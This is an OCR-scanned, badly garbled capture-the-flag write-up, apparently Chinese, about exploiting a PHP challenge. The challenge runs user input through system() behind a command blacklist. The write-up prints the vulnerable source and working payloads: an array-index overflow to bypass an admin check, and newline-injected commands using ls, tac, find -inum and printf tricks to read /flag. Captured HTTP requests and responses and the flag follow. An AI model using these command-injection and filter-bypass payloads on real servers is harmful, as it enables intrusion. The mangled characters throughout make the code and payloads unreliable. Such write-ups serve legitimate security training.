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<?php
¢stuff = §_POST["stuff"]l:
farray = ['admin', 'user'];:
if(éstuff === farray && Sstuff[0] !'= 'admin') {
$num= §_POST["num"];
if (preg match("/"\d+$/im", $num) ) {
if (!preg match("/sh|wget|nc|python|php|perl|h\?|flagl}lcat|echo N> N INT NN NI SA7, Snam) ) {
echo "my favorite num is:"™;
system("echo ".Snum);
relsed
echo '"Bonjour!':

} else {
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@stuff === $array && $stufi[0] !="admin’
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payload: stuff[4294967296]=admin&stufi1]=usergiit & —4
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payload: num=123%0als
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1 POST / HTTR/L.1 A 1 HTTP/L.1l Z00 QK

Z Host: 111.200.241.244:53937 a Z Server: nginx/l.4.6 (Ubuntu)

3 Uzer-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x£4; rv:859.0) 3 Date: Sun, 0L Aug Z0OZL1 03:5£:54 GNT
Gecko/20100101 Firefox/89.0 4 Content-Type: text/html

4 Accept: L Connection: close
text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, & ¥X-Powered-By: PHP/5.5.9-lubuntu4.z9
*f*;q=0.8 7 Content-Length: 0O

5 Accept-Language: 8
zh-CN, zh;q=0.8, sh-TW; gq=0.7, zh-HE; q=0.5, en-U3; q=0.3,en; q=0.Z2 a

& Accept-Encoding: gzip, deflate

Connection: close

2 Cockie: PHPSESSID=d444b3acdclllbecBadscfE8f19813197F
9 Upgrade-Insecure-Requests: 1

10 Cache-Control: max-age=0

11 Content-Type: application/x-www-form-urlencoded

12 Content-Length: 37

14 stuff[4294967296]=admin&stuff[l]=used




preg_match("/shjwget|nc|python|phplperl|?flag[}catiecho* | I ["|I/i",$num)
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POST / HTTE/1.1

Host: 111.200.241.244:53937

User-Agent: Mozilla/5.0 (Windows NT 10.0;
Gecko/20100101 Firefox/B89.0

4 Accept:

text/html,application/xhtml+xml, application/xml;q=0.8, image/webp,
*f*:;q=0.8

Accept-Language:

zh-CN, zh;q=0.8, zh-TW; gq=0.7, 2h-HE;qq=0.5,en-US; g=0.3,en; gq=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=d444biacd4clllbcBadScfif19813187E
Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Type: application/x-www-form-urlencodsd

Content-Length: 52
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HTTP/Ll.1 200 OK

Server: nginx/l.4.€ (Ubuntu

Date: Sun, 01 Aug Z0Z1 04:01:37 GNT
Content-Type: text/html

Connection: close

¥-Powered-By: PHP/5.5.9-lubuntu4.29

Content-Length: 113
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payload:
n

'0ST / HTTE/1.1

[ost: 111.200.241.244:53837

Iser-Agent: Mozilla/5.0 (Windows NT 10.0;
iecko/20100101 Firefox/89.0

(coept:

ext/html, application/xhtml+xml, application/xml;q=0.9, image/wehp,
S rr=0.8

wccept-Language :

th—-CMN, zh;q=0.8, 2h-TW; gq=0.7, zh-HE; q=0.5,en-U3;gq=0.3,en;q=0.2
weept-Encoding: gzip, deflate

‘onnection: close

‘ookie: PHPSESSID=d444b3ac4clllbcBadsScfBfl9813197E
Ipgrade-Insecure-Requests: 1

‘ache-Control: max-age=0

‘ontent-Type: application/x-www-form-urlencodsd

‘ontent-Length: 55
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:tuff[4294967296]=admin&stuff[l]=user&num=l:3%0als+—i+y
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Content-Type: text/html

Connection: close

¥-Powered-By: PHPF/5.5.9-lubuntu4.29

Content-Length: 293

my favorite num is: 123
3284127 bin

30540£44 hoot

I dev

30414555 etc

30414608 flag
305941276 home

32847E5 lib

EHLE

31071188 lik&4
31071190 media
31071191 mnt
31071182 opt
1l proc
31071194
31466142
314E6109
31071333
1l =svys
3284773 tmp
3285877 usr
3285398 wvar

root
run
shin
SEV

[a] A LA

Searrh

L S R =~ | B | 1




FEHflagi &
payload: num=123%0atac find / -inum 2766254 EER H 3% T 31 55 82766254 1 3L
F RS T cat, linuxH iR al LEEUCCH A A4 H : less, more, head, tail, nl, od, tac

— Pretty \n Actions v ECWN Fi Render  n Actions v
: 1 POST / HTTR/L1.1 A 1 HTTE/L.l 200 OK
2 Host: 111.200.241.244:53937 o 2 Server: nginx/l.4.& (Ubuntu
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:89.0) 2 Date: Sun, 01 Aug Z0Z1 04:05:18 GMT
| Gecko/20100101 Firefox/89.0 4 Content-Type: text/html
4 Accept: 5 Connection: close
text/html, application/xhtml+xml, application/®ml;q=0.9, images/webhyp, & ¥-Powered-By: PHP/5.5.9-lubuntu4.29
*f*:g=0.8 7 Content-Length: €8
5 Accept-Language: 8
zh-CH, zh;g=0.8, zh-TW;q=0.7, zh-HE; q=0.5,en-US;g=0.3,en;gq=0.2 S my favorite num is: 123
& Accept-Encoding: gzip, deflate 10 cyberpeace{582030bag53652=56183413067d95143}
7 Connection: close 11
Z Cookie: PHPSESSID=d444b3ac4clllbciadScf8fl8813197E
S Upgrade-Insecure-Reguests: 1
10 Cache-Control: max-age=0
11 Content-Type: application/x-www-form-urlencoded
% 12 Content-Length: 75
my 14 stuff[42594967296] =adminéstuff[ 1] =user &num=
l:S%Datac+‘find+f+—inum+30414608r
e
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payload: num=123%0aprintf /fla > /tmp/hello %26%26 printf g >> /tmp/hello %26%26 tac “tac /tmp/hello®
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1 POST / HTTP/1.1 FY 1 HTTF/1l.l Z00 OE

2 Host: 111.200.241.244:538937 1 2 Server: nginx/l.4.& (Ubuntu)

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4:; =E4; rv:B9.0) 2 Date: Sun, 01l Aug Z0Z1 04:33:33 GMT
Gecko/20100101 Firefox/89.0 4 Content-Type: text/html

4 Accept: 5 Connection: close
text/html, application/xhtml4xml, application/xml;q=0.9, image/webp, & ¥-Powered-By: PHP/5.5.9-lubuntu4.25
*f*q=0.8 7 Content-Length: &8

5 Accept-Language:

zh-CH, zh;q=0.8, eh-TW; gq=0.7, sh-HE:; ¢q=0.5,en-U3; q=0.3,en; q=0.2
& Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHFSESSID=d444bIac4cIllbcBadsScfELl9813197E
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 132
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cyberpeace{ 56203 0batEs3 6525610834 13067d595143}
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stuff[4Z9496729€] =admingstuff[ 1] =user &énum=
1Z23s0aprintf+/fla+>+/tmp/hello+s 2652 6+printf+g+>>+/tmp/ hello+52 6%
ZE+tac+ tac+/tmp/hello’ &=

linuxth >3~ 5N B — A 30fheh, SRS A7 A B

>>FRNIBMA BB S, WMRNFEN G2

printf /ffla > /tmp/hello¥ F 45 MaS A /tmp T fihelloSC 9, printf g >> /tmp/hello¥ F 47 giB in Fl/tmp T Kihello X4+, B LABLEE
hello XX 5E ik T F R EIPHE . hello XX N & = /flag.

linuxth & 51 SAERR, %HITREISH RG-S, BRELSRRES —IMRE.

“tac /tmp/hello’i& [Al/flag, tac “tac /tmp/hello” Bt tac Mag i Thik B Elflag

flag: cyberpeace{562030ba653652e56183413067d95143}
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